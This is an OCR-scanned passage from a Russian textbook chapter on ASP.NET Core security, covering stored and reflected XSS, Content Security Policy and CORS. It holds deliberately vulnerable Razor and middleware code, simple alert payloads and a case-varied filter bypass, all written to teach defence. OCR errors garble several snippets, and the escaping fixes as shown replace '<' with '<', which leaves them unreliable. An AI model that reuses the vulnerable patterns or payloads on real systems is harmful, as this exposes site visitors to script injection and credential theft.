В результате на странице появится форма с просьбой снова зайти на сайт (рис. 3.10). Эту форму можно сделать более наглядной, чтобы она выглядела органично,— ведь нам доступны все стили форматирования страницы. Посетитель может, ничего не заподозрив, ввести свои данные, но по нажатии им кнопки отправки форма отправит данные на мой сайт. Мой сайт не сохраняет данные, поэтому можете за них не волноваться, — приведенный здесь пример спрашивает только пароль, а не имя посетителя, поскольку это лишь пример взлома, а не реальная его попытка. Впро-
148
Глава 3
чем, в журналах веб-сервера такой запрос будет зафиксирован, однако я в журналы заглядываю редко.
В общем, можете смело тестировать этот код и убедиться, что браузер не может остановить попытку взлома и защитить от него посетителей.
Рис. 3.10. Форма авторизации
В приведенном примере посетитель увидит отправку данных на мой сервер, потому что я и не пытался скрыть это от него. Реальный же хакер может использовать интернет-адрес (URL), по которому будут сохраняться полученные данные, и перенаправлять посетителя обратно на оригинальный сервер. При этом посетители вообще не будут ничего замечать.
3.7.3. Типы XSS
Я люблю быстро погрузиться в какую-либо тему, чтобы потом проще было обсуждать ее детали, потому что ценю практику. И не устану повторять, что, когда глаза видят результат, легче понимать принципы работы. Теория без практики — это время на ветер: что-то после его порыва может остаться, но большинство разлетится. Так что продолжим знакомиться с теорией и одновременно будем рассматривать практику.
Безопасность .NET-припожений 149
Как я уже отмечал ранее, основная проблема XSS кроется во фронтенде. Теперь поговорим о том, какие типы ХСС бывают. Я не люблю все эти классификации и умные деления по типам и классам, но сейчас есть определенный смысл рассказать, что XSS разделяют на два типа: хранимые и нехранимые.
До сих пор мы рассматривали нехранимый вариант. Его признаки: код внедряется в какой-то элемент страницы и попадает туда через URL, который хакер заранее подготавливает и публикует в Интернете или доставляет жертве через email. Как один из результатов работы такой атаки мы рассматривали вариант воровства сессии или сразу и имени пользователя, и его пароля.
Хранимый вариант XSS — это когда ссылку не рассылают определенной жертве, а сохраняют на каком-нибудь сервере. Кто-то относит к хранимым даже такие варианты, когда вредный код хранится в социальной сети в комментарии под каким- либо постом или просто в виде отдельного поста, но смысл атаки в том, что это всего лишь такая же ссылка, как и в случае с нехранимым вариантом. Жертва щелкает на такой ссылке и попадает на уязвимый сайт, — т. е. зловредный код все так же перетекает через ссылку.
В случае с хранимой уязвимостью я больше выделяю случай, когда зловредный код находится на самом уязвимом сайте. Допустим, на этом сайте есть какая-то форма, где посетитель может ввести любой текст и сохранить его на сервере. Классика такого жанра — комментарии. Например, в моем блоге под заметками и статьями можно оставлять комментарии. Или форум, где пользователи могут добавлять свои вопросы и общаться. В результате текст сохраняется на сайте и потом отображается всем посетителям. Вот это и есть чистый хранимый вариант — когда код не перетекает через URL, а хранится и работает на уязвимом сайте.
Если действие зловредного кода невидимо пользователю, то такой код может прожить достаточно долго и нанести приличный вред.
Отличие хранимой XSS-уязвимости — у нее обычно нет целевой направленности, жертвой может стать любой, и количество жертв может оказаться достаточно большим — в зависимости от популярности сайта и страницы.
3.7.4. Хранимая Х55
В течение всей главы мы пишем код сайта, в котором предусмотрена возможность создавать заметки, и это как раз тот вариант, который может стать причиной XSS, поскольку заметки работают примерно так же, как и комментарии, о которых мы говорили в предыдущих разделах, — вся суть в том, что посетитель добавляет на сайг какой-то текст.
Давайте выведем на главной странице сайта заметки, которые посетитель добавляет на сайт. Для этого я в контроллере выбираю заметки и добавляю их в модель представления:
public async Task<IActionResult> Index(string status = ”0”)
{
HomeViewModel model = new HomeViewModel ();
150
Глава 3
model.IsLoggedln = this.user.IsLoggedln();
model.Blogitems = await blog.List(status); return View (model);
}
He обращайте внимания на статус, который добавлен к контроллеру и который мы еще не видели. Это задел на будущее. Сейчас мы смотрим на уязвимость XSS, которая кроется в представлении.
В cshtml-файле просто выводим все заметки:
©foreach (var item in Model.Blogitems) {
<div>
<h3>@item.Title</h3>
<p>@item.Content</p>
</div>
Как мы уже знаем, все безопасно по умолчанию, и мы защищены от XSS. Попробуем добавить запись, в содержимом которой будет следующий текст:
<И2>Это тестовое сообщение</И2>
Проверяем — теги отображаются как текст (рис. 3.11).
А что если посетитель добавит многострочный комментарий:
Это первая строка
Это вторая строка
Это третья строка
Рис. 3.11. Теги комментария <И2>Это тестовое сообщение</h2> отображаются как текст
Безопасность .NET-приложений 151
И вот тут возникает проблема, потому что в результате на главной странице весь этот комментарий будет отображаться в одну строку (рис. 3.12).
Мы получили многострочный комментарий в виде простого текста, который будет сохранен в базе данных как текст:
Это первая строка\пЭто вторая строка\пЭто третья строка
Рис. 3.12. Многострочный комментарий в одну строку
Здесь \п — это переход на новую строку, который игнорируется HTML. Мы можем заставить \п работать как перевод каретки даже в HTML, но для этого нужно вывод переменной заключить в тег pre:
@foreach (var item in Model.BlogIterns) {
<div>
<h3>@item. Title</h3>
<pre>@item.Content</pre>
</div> }
Однако этот подход связан со своими недостатками, потому что pre по умолчанию не переносит слова на новые строки. Длинные строки будут убегать за пределы страницы вправо. Нужно играть с CSS, чтобы сделать текст более подходящим к тому, что нам нужно.
Простое решение: заменить все \п на теги </р><р> и выводить результат в сыром виде, чтобы эти теги отображались в тексте как HTML-теги:
152
Гпава 3
@foreach (var item in Model.Blogitems) {
<div> <h3>@item.Title</h3> <p>@Html.Raw(item.Content.Replace(”\n", ”</pXp>"))</p> <hr/>
</div> I
Этот код превращает строку:
Это первая строка\пЭто вторая строка\пЭто третья строка
в такую:
Это первая строка</р><р>Это вторая строка</р><р>Это третья строка
Учитывая, что вся эта строка еще и сама обрамляется парой тегов <рх/р>, результат получается таким, как и ожидался (рис. 3.13).
Рис. 3.13. Многострочный комментарий в несколько строк
Теперь многострочный комментарий стал действительно многострочным и выглядит идеально. Но, использовав Htmi.Raw, мы открыли ящик Пандоры, из которого выскочила XSS-уязвимость, в результате чего и первый комментарий: Это тестовое сообщение — тоже отображается форматированным. Это значит, что мы
Безопасность .NET-припожений
153
можем использовать на сайте все те примеры, которые обсуждали в разд. 3.8.2, и при этом нам не понадобится передавать зловредный код через параметры, — мы можем их сохранить в поле содержимого заметки/комментария, и любой посетитель, который загрузит эту страницу, окажется уязвимым к нашей атаке.
Вот вам яркий пример хранимой XSS, с которым могут столкнуться программисты.
Как защититься от подобной уязвимости и сохранить гибкость форматирования комментария?
Основная проблема появления XSS в теле страницы заключается в использовании тегов. Вспомните, что происходит с ними, когда срабатывает защита .NET: символ < заменяется на sit;, а символ > — на sgt;. То есть для безопасного вывода текста в Raw мы должны сначала произвести эти замены, а уже потом заменить символы перевода каретки (\п) на теги параграфа (</р><р>). Именно в таком порядке: сначала все экранируем, а потом добавляем теги, которые считаем безопасными:
@foreach (var item in Model.Blogitems) {
<div>
<h3>@item.Title</h3>
<p>@Html. Raw (item. Content
.Replace(”<", "<")
.Replace(”>", ">")
.Replace("\nn, ”</p><p>”))</p>
<hr/>
</div> }
Если теперь посмотреть на результат, то мы увидим, что многострочный комментарий оформлен корректно, но при этом ящик Пандоры остался закрытым и форматирования комментария <Ь2>это тестовое сообщение</Ь2> нет (рис. 3.14). Любые попытки добавить тег <script> и внедрить JavaScript-код завершатся провалом.
Впрочем, каждый раз писать такой код накладно, скучно и неинтересно, поскольку вам может понадобиться реализовать подобное форматирование в разных местах’ Чтобы упростить себе жизнь, можно создать метод-расширение — в классе MyBlogExt:
using Microsoft.AspNetCore.Html;
using Microsoft.AspNetCore.Mvc.Rendering;
namespace MyBlog.Extensions {
public static class MyBlogExt {
public static IHtmlContent FormantContent( this IHtmlHelper htmlHelper, string str) { return new HtmlString(str
.Replace("<", "<")
154
Глава 3
.Replace(">", "sgt;")
.Replace("\n", "</p><p>"));
}
}
}
Рис. 3.14. Безопасное форматирование
Замену можно сделать разными способами — например, использовать регулярные выражения (RegEx), а я оставил три команды, чтобы четко была видна последовательность того, что именно я делаю со строкой.
Но ни в коем случае не заменяйте целые теги. Обратите внимание, что я экранирую все открывающиеся и закрывающиеся скобки. Первое решение, которое могло бы прийти в голову, — экранировать <script>, так как именно он становится основным злом и позволяет внедрить JavaScript код.
Но злом является не только JavaScript, но и HTML, и я показал поддельную форму ввода, с помощью которой можно украсть пароли.
Ну и самая главная вишенка на торте — фильтр по целому тегу легко обходится:
<p>@Html.Raw(item.Content
.Replace("<script>", "")
•Replace("</script>", "")
•Replace("\n", "</p><p>"))</p>
Безопасность .NET-приложений
155
Здесь теги <script> и </script> заменяются на пустые строки, и такой подход может вызвать ложное ощущение безопасности. Только вот эта замена чувствительна к регистру, и если хакер передаст что-то с разными буквами <scRipT>, то замены не произойдет и хакер сможет внедрить JavaScript.
Можно написать замену без учета регистра, но хакер может поставить пробелы:
< ScRipT >
И для большей жесткости добавить атрибуты:
<ScRipT data-hack-O>
Чтобы вырезать теги <script>, теперь придется сильно попотеть и при этом легко совершить ошибку, которую хакер потом будет использовать в своих целях. Поэтому рекомендую делать защиту как можно проще, и я заменяю все угловые скобки, а не какие-то теги.
Метод-расширение Formantcontent делает необходимые замены. Чтобы им воспользоваться, нужно ПОДКЛЮЧИТЬ пространство имен ЭТОГО класса MyBlog.Extensions в файле _Viewlmport8.cshtml.
Теперь я могу вызывать Html. Formantcontent для форматирования контента из файлов представлений, и код будет выглядеть уже намного круче:
@foreach (var item in Model.Blogitems) {
<div>
<h3>@item.Title</h3>
<p>@Html.FormantContent(item.Content)</p>
<hr/>
</div>
3.7.5. XSS: текст внутри тега
Появление уязвимости XSS зависит от того, где именно мы выводим информацию. В рассмотренном случае с отображением текста он выводился на странице, где опасным является открытие нового тега. А что если нам нужно вывести текст внутри тега? Например:
<input type="text" name="title" value="@Model" />
и передать через модель вот такой текст:
test" onclick="alert(1)
В этом случае мы должны получить что-то такое:
<input type="text" name="title" value="test" onclick«"al*rt(1)" />
Это текстовое поле со значением test, и у поля есть обработчик события, который при щелчке на поле отображает сообщение.
156
Глава 3
Я создал в моем проекте тестовую страницу http://localhost:37741/tagtest — и если так перейти по ее адресу:
http://localhost:37741/tagtest?id=test%22%20onclick=%22alert(l)
то ничего страшного не произойдет. При этом, посмотрев на исходный код страницы, мы увидим следующую строку:
<input type="text" name=”title” value="test" one1ick="alert(1)” />
To есть фреймворк .NET экранировал двойную кавычку и заменил ее на безопасную HTML-верСИЮ ".
А что если использовать Html. Raw:
<input type=’’text” name=”title” value="@Html.Raw(Model)" />
Вот в этом случае возникнет уязвимость — теперь двойная кавычка не будет экранироваться, и мы увидим в исходном коде опасный тег:
<input type="text" name=”title" value="test" onclick="alert(l)n />
Это хорошо, что фреймворк экранирует за нас опасные теги, но если вам по какой- то причине придется использовать Html.Raw, то вы должны понимать, что внутри тегов опасными становятся уже не угловые скобки, а одинарные и двойные кавычки — в зависимости от того, что именно вы применили. Ответственность за экранирование кавычек или проверку их наличия вы берете на себя.
А что если мы выведем значение в атрибут прямо без дополнительных кавычек:
<input type=”text" value=@Model />
Здесь у значения атрибута value нет кавычек, и даже при отсутствии Html.Raw хакер может использовать эту проблему:
0%20onclick=alert(1)
Здесь %20 — это код пробела, и значит, наше поле ввода превратится в
<input type=”text” value=O onclick=”alert(1)” />
Глядя на этот код, вы можете подумать, что я обманываю и добавил у значения атрибута onciick кавычки, которые мы не передавали. Но они будут добавлены автоматически. И это уязвимость!
Еще один вариант HTML-кода:
<input type=”text” name=”title" value="” @Model />
Здесь через @Modei может передаваться какая-то дополнительная информация, атрибуты тега, и мы выводим их правильно — не используем опасный Html.Raw. Будет ли этот код безопасным? Нет! Даже без Html.Raw этот код уязвим к XSS.
Запустите сайт и загрузите следующую страницу:
htty:/4ocalhost:3774Vtagtest?id=onclick=alert(10)
Безопасность .NET-приложений 157
Этот запрос превратится в следующий код:
<input type="text" name="title" value="" onclick=alert(10) />
Фреймворк может экранировать как двойные кавычки, так и одинарные, но в этой ситуации хакеру, чтобы добавить атрибут, не нужно ни того, ни другого — он попадает прямо в тег. И если теперь щелкнуть на поле ввода, появится диалоговое окно, что и указывает на возможную опасность.
Никогда не выводите текст внутри тега, если на него может повлиять посетитель. Эго самый сложный с точки зрения экранирования вариант. В этом случае защиты по умолчанию нет, и очень сложно представить себе, что можно сделать для экранирования опасных тегов. Да, хакер все еще ограничен в тех возможностях, которые ему доступны, — вывод диалогового окна с числом безопасен, любые попытки использовать теги или кавычки все еще будут фреймворком экранироваться, но искусные хакеры все же смогут найти векторы атаки, которые навредят вам.
3.7.6. Скрипты
Я как-то видел код, в котором информация от посетителя выводилась в тегах скрипта:
<script>
©Model
</script>
Смысл его был в том, что информация от посетителя нужна была в JavaScript, и именно вот такой вариант опасен, потому что следующий запрос:
http^/localhoeti37741/js?i<i=alert(10)
превратится вот в такой HTML-код:
<script>
alert(10)
</script>
Так что, помещая пользовательские данные внутри скриптов, нужно быть особенно аккуратным. Никогда не выводите данные внутри тегов <script>.
Прямо в cshtml-коде мы можем обращаться к параметром строки URL, и это тоже опасно:
<script>
var t = ©Context.Request.Query["page"];
</script>
Такой код приведет к тому, что в переменную t попадет значение параметра раде без каких-либо проверок. Не делайте так.
Как же тогда передавать данные? Можно использовать для этого HTML-элементы:
<input type="hidden" id="passtojs" value="0Model" />
<script>
158
Глава 3
let value - document.queryselector("#passtojs").value;
</script>
В первой строке создан скрытый элемент input, которому в атрибут value было добавлено значение, которое нужно передать в JavaScript-код. И далее я показываю, как легко с помощью JavaScript прочитать это значение и использовать.
При этом значение будет правильно экранировано при использовании в элементе input, и такой подход безопасен.
3.7.7. Атака через промежуточный слой
В .NET есть такая удобная вещь, как Middleware — промежуточный слой. Он тоже может стать причиной XSS-уязвимости.
В листинге 3.3 показан очень простой пример промежуточного слоя. Этот слой будет выполняться при обработке каждого запроса на сервер. В нем происходит поиск параметра с именем xssmiddietest, и значение просто выводится на страницу.
Листинг 3.3. Уязвимый промежуточный слой
namespace MyBlog.Middleware;
public class XssTestMiddleware {
private readonly RequestDelegate next;
public XssTestMiddleware(RequestDelegate next) {
this.next = next;
}
public async Task Invoke(HttpContext context) {
await this.next(context);
string paramvalue =
context .Request .Query [’’xssmiddietest”] . FirstOrDefault () ?? ’”’;
if (paramvalue != ””).{
await context.Response.WriteAsync( $0”
<div class=’dev-performance’> {paramvalue}
</div>
");
Безопасность .NET-приложений 159
Чтобы этот слой начал выполняться, нужно в файл Program.es добавить строку:
арр.UseMiddleware<MyBlog.Middleware.XssTestMiddleware>();
Теперь запустите сайт и на любой странице попробуйте передать через параметр xssmiddietest какой-нибудь JavaScript-код, например:
<script>alert(1)</script>
Я для примера загрузил следующий URL:
http://localhost:37741/?xssmiddletest=%3Cscript%3Ealert(l)%3C/script%3E
На странице появилось диалоговое окно сообщения, а значит, перед нами XSS- уязвимость.
Когда вы выводите что-то в промежуточном слое с помощью context.Response. writeAsync, то тут никакой защиты нет. Автоматического экранирования не происходит, а значит, вся ответственность ложится на вас. Я понимаю, что такой пример, как приведенный в листинге 3.3, точно никто не будет реализовывать. Но в промежуточных слоях иногда производят вывод каких-то данных. Если это информация из базы данных и у хакера есть возможность повлиять на нее, то может возникнуть хранимая XSS.
3.7.8. HTML-расширения
В разд. 3.7.4 я показал пример расширения для безопасного вывода данных в теле HTML-страницы. Напомню, как оно выглядело:
public static IHtmlContent FormantContent(
this IHtmlHelper htmlHelper, string str)
{
return new HtmlString(str
.Replace("<”, ”<")
.Replace(”>”, ”>”)
.Replace(”\n”, ”</p><p>”));
}
Это безопасный вариант, если текст выводится в теле HTML, а не в атрибутах. В атрибутах нужно экранировать кавычки.
Возвращаемое значение для расширения не случайное. Если расширение возвращает просто строку, то .NET берет на себя ответственность за экранирование. Если возвращается IHtmlContent, то ответственность за экранирование мы берем на себя и поэтому должны быть очень аккуратны:
public static string XssContentTestl(
this IHtmlHelper htmlHelper, string str)
{
return str;
}
160
Глава 3
public static IHtmlContent XssContentTest2( this IHtmlHelper htmlHelper, string str)
{
return new HtmlString(str);
I
Пример вызова обоих методов:
<p>@Html.XssContentTesti("<hl>Test</hl>")</p>
<p>@Html.XssContentTest2("<hl>Test</hl>")</p>
В первом случае вы увидите на странице весь текст, включая теги, потому что метод xssContentTesti возвращает просто строку, и этот результат будет экранирован. Во втором случае вы увидите просто слово TEST, да еще отформатированное большими буквами.
Использование IHtmlContent в качестве возвращаемого значения для расширения может стать проблемой безопасности. Если вам нужно создать расширение, то по умолчанию делайте его таким, чтобы оно возвращало строку string. Используйте IHtmlContent только в самых крайних случаях, когда вам действительно нужно вывести форматирование.
3.7.9. Вывод из контроллера
Чаще всего в веб-приложении данные выводятся через cshtml-файлы:
[Route("/xssaction")]
public lActionResult Xssaction() {
return Content("Hello " +
HttpContext.Request.Query["Test"], "text/html"); }
При обращении по адресу http://locaJho8t:37741/xssacti<Hi?test=test в браузере будет выведено сообщение: Hello test. Мы просто отображаем текст, который приходит через параметр test, и он никак не экранируется.
Если хакер поместит в параметр test какой-то JavaScript-код, то он будет выполнен в браузере. Например:
http://localhost:37741/xssaction?test=%3Cscript%3Ealert(l)%3C/script%3E
Здесь в параметре test передается JS код: <script>alert (1) </script>.
Вывод сразу из контроллера используется очень редко, поэтому не думаю, что многие сталкиваются с подобными ситуациями, но знать о потенциальной проблеме необходимо.
Для экранирования контента можно использовать запись:
System. Security. Securi tyElement. Escape (сорока)
[Route("/xssaction")]
public lActionResult Xssaction() {
String str = System.Security.SecurityElement.Escape( HttpContext.Request.Query["Test"]
);
return Content("Hello " + str, "text/html"); }
Для очистки данных or вредных символов можно также использовать запись System. Text. Encodings. Web. HtmlEncoder. Default. Encode:
var str = System.Text.Encodings.Web.HtmlEncoder.Default.Encode(
HttpContext.Request.Query["Test"].ToString() );
3.7.10. Эксплуатация XSS-уязвимости
Я уже показал несколько примеров того, как хакеры могут использовать XSS- уязвимость, но это далеко не всё.
Среди возможных вариантов ее эксплуатации, я бы выделил еще несколько интересных ситуаций. На JavaScript можно написать кейлоггер, который будет отлавливать все нажатия клавиш на сайте и пересылать ввод на сервер хакера. Если посетитель находится на странице авторизации, то хакер сможет украсть пароли.
С помощью JavaScript можно также организовать своеобразную атаку на отказ в ослуживании, которая затронет браузер. Достаточно просто в бесконечном цикле добавлять новые HTML-элементы, которые будут иметь минимальную видимость, — тогда через какое-то время браузер израсходует всю память и начнет тормозить.
Были случаи, когда через XSS-уязвимость хакеры использовали ресурсы пользователей для добычи крнптовалюты.
Надеюсь, я напоследок добавил немного красок к XSS-уязвимости, и вы будете серьезно относиться к этой проблеме.
3.8. Политика безопасности контента
Разработчики браузеров работают над тем, чтобы хакеры не могли взломать сайты, потому что безопасный браузер может завоевать сердца пользователей.
Content Security Policy (CSP) — политика безопасности контента — не является панацеей, но она все же помогает в некоторых случаях обезопасить сайт даже при наличии XSS-уязвимости.
Политика безопасности контента — это не одно правило, а целый набор. Какие-то правила работают по умолчанию, а какие-то нужно настраивать.
162
Гпава 3
3.8.1. CORS на страже контента
По умолчанию из JavaScript-кода можно обращаться к серверам, с которых загружались файлы сайта. Но просто к любому сайту в Интернете обратиться не получится — запросы будут блокироваться браузером. Я имею в виду именно JavaScript- запросы, такие как fetch.
На рис. 3.9 из разд. 3.7.2 мы уже видели ошибку CORS (Cross-Origin Resource Sharing, разделение ресурсов между различными источниками), которая возникает при обращении к ресурсу, с которого мы не загружали данные.
Создайте простое представление, в котором будет простейший код обращения к какому-то сайту из JavaScript:
<script>
fetch("http://www.flenov.info”)
</script>
Если вы запускаете сайт локально и обращаетесь к нему локально: http://localhost: 37741/csp, то никакого контента кода с сайта flenov.info не загрузится, и мы увидим ошибку CORS в утилитах разработчика браузера.
3.8.2. Источники загрузки
В файловый архив, сопровождающий книгу (см. приложение), я добавил новый маршрут /Сер, а соответствующее представление можно найти в файле MyBlog/ MyBlog/Views/Csp/lndex.cshtml.
Рассмотрим еще один пример:
Ocript src-"http://www.flenov.info/js/script. js"x/script>
<div id-"placeholder"X/div>
<script>
test();
</script>
Здесь загружается JavaScript-файл с моего домена flenov.info, и в этом файле есть простая функция test, которая просто отображает диалоговое окно.
Если сейчас выполнить этот код, то это произойдет без проблем, потому что по умолчанию CSP разрешает загружать файлы с любых доменов и выполнять код из этих файлов.
Но если добавить в шаблоне в секцию header следующую строку:
<meta http—equiv«="Content—Security—Policy" content“"default-src 'self'">
то попытка загрузить JavaScript-файл с любого домена, кроме текущего, завершится ошибкой (рис 3.15). В этой строке прописан тег meta, В КОТОРОМ http-squiv рЗВСН Content-Security-Policy. Это как раз и есть политика безопасности контента. В атрибуте content указано defauit-src 'seif, что ограничивает загрузку данных только текущим доменом.
Безопасность .NET-приложений
163
Рис. 3.15. Блокировка контента согласно политике безопасности
Политику контента можно настраивать с помощью тега meta или с помощью НТТР- заголовков. В следующем примере та же самая настройка делается с помощью заголовка:
[Route(”/csp/header”)] public lActionResult Header() {
HttpContext.Response.Headers.Append( "Content-Security-Policy”, ”default-src ’self’”
);
return View(”csp”); }
Существует рекомендация использовать именно заголовок. Но если у вас есть значение по умолчанию, то я бы устанавливал его через тег meta. А если что-то специфичное для определенного действия, то лучше через заголовок.
Если вы загружаете контент не только со своего сайта, но еще и с flenov.info, то можно указать этот домен в политике:
HttpContext.Response.Headers.Append(
’’Content-Security-Policy”, ”default-src ’self’ www.flenov.info”
);
164
Глава 3
При задании контента можно также указывать домены по типу данных:
HttpContext.Response.Headers.Append(
"Content-Security-Policy",
"default-src 'self; img-src *; media-src mediaserver.com;
script-src userscripts.example.com" );
По умолчанию данные загружаются только с домена, на котором находится сайт. Но картинки (img-src) могут загружаться с любого домена. Обычно такому контенту доверяют больше, поэтому допустимо указать звездочку. При этом медиафаи- лы (media-src) могут загружаться с домена http://iiiediaserver.com. Но скрипты (script-src) — только с http://nserscripts.examplexom.
Директивы политики разделяются точками с запятой, значения разделяются пробелом.
Вы можете использовать следующие директивы:
П chiid-src — фреймы или веб-воркеры;
□ connect-src— запросы по HTTP или WebSocket;
□ font-src — шрифты;
□ img-src — изображения;
О media-src — видео или аудио;
□ script-src — JavaScript-код;
□ styie-src — файлы стилей.
Желательно указывать максимально конкретные источники данных. В приведенном ранее примере я просто указал свой домен, но это слишком расплывчатые данные. Мы могли бы указать хотя бы схему HTTPS. А лучше даже указать папку, в которой находятся файлы:
HttpContext.Response.Headers.Append(
"Content-Security-Policy",
"default-src 'self https://www.flenov.info/js" );
Большую популярность сейчас приобрели сети доставки контента (Content Delivery Network, CDN), через которые доставляется большое количество контента, и не все содержащие его файлы безопасны. Для обратной совместимости в них могут помещаться старые версии, имеющие уязвимости.
Так что при использовании сетей доставки контента надо быть максимально конкретными.
У меня в JS-файле http7/www.flenov.info/js/scnptjs есть еще одна функция: function testeval() {
eval(alert(10));
I
Безопасность NET-приложений
165
Она не просто вызывает диалоговое окно, а использует функцию eval, которая сама по себе небезопасна. Давайте попробуем вызвать ее в своем коде:
<script>
testeval();
</script>
В результате в консоли появится большое сообщение об ошибке:
Refused to execute inline script because it violates the following Content Security Policy directive: ”default-src ’self* www.flenov.info”. Either the ’unsafe-inline’ keyword, a hash (*sha256-G3tX3pRHfodlsPbcHNX+X3FX2P41HRdqpqHbZk KzzcU=’), or a nonce (’nonce-...’) is required to enable inline execution.
(Произошла ошибка вызова скрипта, потому что он нарушает директиву политики безопасности контента "default-src ’self’ www.flenov.info”. Или добавьте ’unsafe-inline’, хеш ’sha256-G3tX3pRHfodlsPbcHNX+X3EX2P4lHRdqpqHbZkKzzcU=’, или nonce (’nonce-...’) для разрешения прямого выполнения.)
Функция eval опасна, и, чтобы она начала работать, нам предлагают включить ' unsafe-inline'. На самом Деле, нужно еще ВКЛЮЧИТЬ И ' unsafe-eval •:
HttpContext.Response.Headers.Append(
’’Content-Security-Pol icy”,
"default-src ’self* www.flenov.info ’unsafe-eval* ’unsafe-inline”’
);
Я не знаю, зачем кто-то еще может захотеть использовать eval. Эго действительно достаточно опасная функция, и я уже не помню, когда я последний раз к ней прибегал. Но я и не фронтенд-программист — возможно, им это и нужно. Лично у меня не было в ней необходимости, поэтому я согласен с тем, что эта функция по умолчанию должна быть отключена.
3.8.3. Тестирование политики
Я использовал политику безопасности контента в своих проектах не так часто. Если не оставлять XSS-уязвимостей в коде, то и надобности в этой политике не будет. Но современные правила безопасности иногда требуют, чтобы политика присутствовала и была настроена максимально жестко.
Если включить CSP на существующем проекте, то сложно предсказать, что именно станет ошибкой и где она возникнет. Надо настроить политику безопасности контента и протестировать все страницы, наблюдая за утилитами разработчика в поисках любых блокировок.
Из личного опыта: в больших веб-приложениях очень часто оставляют различные предупреждения, и могут быть даже ошибки в консоли разработчика, среди которых можно упустить реальную ошибку.
Для тестирования можно настроить CSP так, чтобы она не блокировала контент, а только сообщала об ошибках. Для этого вместо Content—security—Policy указываем Content-Security-Policy-Report-Only, и в параметрах добавляем адрес, на который следует отправлять ошибки, с помощью report-uri:
166
Гпаев 3
[Route("/csp/headereval2")]
public lActionResult Headereval2()
HttpContext.Response.Headers.Append(
"Content-Security-Policy-Report-Only", "default-src 'self; report-uri /csp/csperrors"
);
return View("cspeval");
В этом примере политика максимально жесткая — загрузка ресурсов разрешена только с текущего домена. При этом мы тестируем CSP, и любые ошибки будут отправляться на /csp/csperrors.
В cshtml-файле видим уже знакомый нам код:
<script src="http://www.flenov.info/build/default.js"x/script>
<script>
testeval();
</script>
К ошибке должны привести два факта: загрузка JavaScript-файла со стороннего домена и вызов функции testeval, в которой есть вызов небезопасной JS-функции eval.
Прежде чем мы проверим результат, нужно еще создать контроллер, который будет отслеживать ошибки:
[Route("/csp/csperrors")]
public async Task<IActionResult> csperrors() { var report - "";
using (var reader " new StreamReader(Request.Body)) report - await reader.ReadToEndAsync();
// сохраняем report где-то для анализа
return new ContentResult() { Content - report );
Можно было бы создать модель представления и читать данные в виде объекта, но для подобных ситуаций я люблю просто прочитать содержимое тела запроса в строку. После прочтения строку сохраняем где-то в базе данных, или можно написать код отправки письма программисту, чтобы он тут же видел проблему с настройками политики.
Вот теперь запускаем сайг, загружаем /csp/headereval2 и убеждаемся, что сайт работает без проблем, никакой контент не блокируется, и только в консоли можно видеть предупреждение о нарушении политики безопасности контента (рис. 3.16), а на вкладке Сети (Network) видны два запроса к /csp/csperrors (рис. 3.17), потому что у нас два нарушения: загрузка JavaScript-файла со стороннего домена и вызов функции testeval с небезопасной JS-функцией eval.
Безопасность .NET-приложений
167
Рис. 3.16. Предупреждение о нарушении CSP
Рис. 3.17. Запросы на регистрацию ошибок
168
Гпава 3
Пример отчета:
{
"csp-report":
{
"document-uri":"http://localhost:37741/csp/headereva!2",
"referrer":"",
"violated-directive":"script-src-elem", "effective-directive":"script-src-elem", "original-policy":"default-src 'self*; report-uri /csp/csperrors", "disposition":"report",
"blocked-uri":"inline",
"line-number":59,
"source-file":"http://localhost:3774l/csp/headereval2",
"status-code":2 00, "script-sample":""
}
}
Из отчета можно увидеть, какой код был заблокирован. Для внешнего JS-файла в параметре blocked-uri будет адрес файла, который не получилось загрузить. А ДЛЯ ошибки вызова eval — просто inline.
Мне, как программисту, самое важное увидеть адрес страницы, где произошла ошибка, а это значение можно увидеть в source-file. Зная этот параметр, можно загрузить эту страницу и протестировать.
3.8.4. Разрешенные источники
А если мы хотим, чтобы какой-то другой сайт смог обращаться к нашему с помощью JavaScript? По умолчанию это запрещено. Если сейчас я помещу на свой сайт www.flenov.ru следующий JS-код, то он завершится ошибкой CORS Error, — мы это видели в разд. 3.7.2.
Для примера я создам простой HTML-файл, содержащий такой несложный код:
<script>
fetch("http://localhost:37741/login", { method: "POST" } );
</script>
Здесь идет попытка отправить методом POST данные на сайт http://localhost: 37741/login (это мой сайг на С#, который я рассматриваю в этой книге).
Теперь в каталоге с этим файлом запущу веб-сервер с помощью PHP:
php -S localhost:8080
Вы можете использовать любой другой веб-сервер, но я просто часто использую PHP в своей практике и поэтому привык для подобных тестов запускать именно его.
Теперь если загрузить новую страницу localhost:8080 в браузере, то в консоли будет ошибка, потому что localhost:8080 не имеет права отправлять данные на
Безопасность .NET-припожений
169
http://localhost:37741. Эго разрешение (http://localhost:37741) должно быть прописано на .NET стороне.
Давайте пропишем такое разрешение. Оно действительно иногда бывает необходимо. Из личного опыта: мне такое понадобилось, когда для сайта www.sonycani.coin нужно было прописать разрешение на доступ из JavaScript к сайту rewards. sony.com.
В файл Program.cs сначала добавляем настройку новой именной политики:
builder.Services.AddCors(options => {
options.AddPolicy(
"Loginpolicytest", policy => {
policy.WithOrigins("http://localhost:8080");
I);
I);
Эго можно сделать сразу после вызова:
var builder = WebApplication.CreateBuilder(args);
С помощью builder.Services.AddCors мы можем добавлять именные политики и политики по умолчанию. В приведенном примере политика именная, потому что вызывается метод AddPolicy, и имя политики задается в первом параметре: Loginpolicytest. Я здесь использую строки, но в реальном приложении лучше применить константы.
Второй параметр — это политика. С помощью метода withorigins можно задать сразу несколько URL, записав их через запятую, например:
policy.WithOrigins("http://localhost:8080", "http://www.flenov.ru");
Тут нужно быть осторожным, потому что любая ошибка в домене может привести к тому, что политика работать не будет. Указывайте схему верно. Если надо, чтобы только страницы с HTTPS могли загружать данные с вашего сайта, то нужно указать именно https://www.flenov.ru.
В следующем примере есть небольшая опечатка, которая тоже станет проблемой:
policy.Withorigins ("http://localhost:8080/");
Заметили проблему? А она тут есть — слеш в конце адреса, его нужно убрать, иначе политика не заработает.
Далее нужно вызывать следующую строку:
app.UseCors ();
Она должна ИДТИ после app.UseRoutingO, но до любых самописных промежуточных уровней, до настройки кеша и авторизации, — последовательность очень важна!
Настройка закончена, теперь можно для конкретных URL указать политику. В приведенном ранее примере я отправляю запрос к странице http://localh<jeti37741/
170
Гпава 3
login, а значит, перед методом Login добавляем атрибут EnabieCors, и этому атрибуту передаем имя политики, которую хотим включить:
[HttpPost]
[Route (’’/login”) ]
[EnabieCors (’’Loginpolicytest”) ]
public async Task<IActionResult> IndexPost(LoginViewModel model)
Если теперь снова попробовать обратиться с сайта localhost:8080 к нашему сайту, то запрос пройдет успешно.
